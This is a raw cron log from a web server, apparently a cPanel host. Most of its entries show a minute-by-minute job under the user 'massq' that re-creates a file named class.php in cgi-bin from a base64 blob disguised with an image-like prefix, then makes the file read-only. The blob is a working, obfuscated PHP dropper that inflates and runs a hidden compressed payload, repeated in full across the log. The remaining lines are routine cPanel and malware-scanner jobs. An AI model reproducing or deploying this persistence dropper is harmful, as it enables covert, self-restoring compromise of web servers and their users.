Nov 15 16:33:01 server CROND[32523]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:34:01 server CROND[333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:35:01 server CROND[699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:35:01 server CROND[700]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 16:35:01 server CROND[704]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 16:35:01 server CROND[703]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:35:01 server CROND[705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:36:01 server CROND[1014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:37:01 server CROND[1279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:38:01 server CROND[1555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:39:01 server CROND[1814]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:39:01 server CROND[1815]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 16:40:01 server CROND[2180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 16:40:01 server CROND[2183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:40:01 server CROND[2182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:40:01 server CROND[2181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:41:01 server CROND[2496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:42:01 server CROND[2756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:42:01 server CROND[2757]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 16:43:01 server CROND[3012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:44:01 server CROND[3276]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:45:02 server CROND[3535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:45:02 server CROND[3536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:45:02 server CROND[3537]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
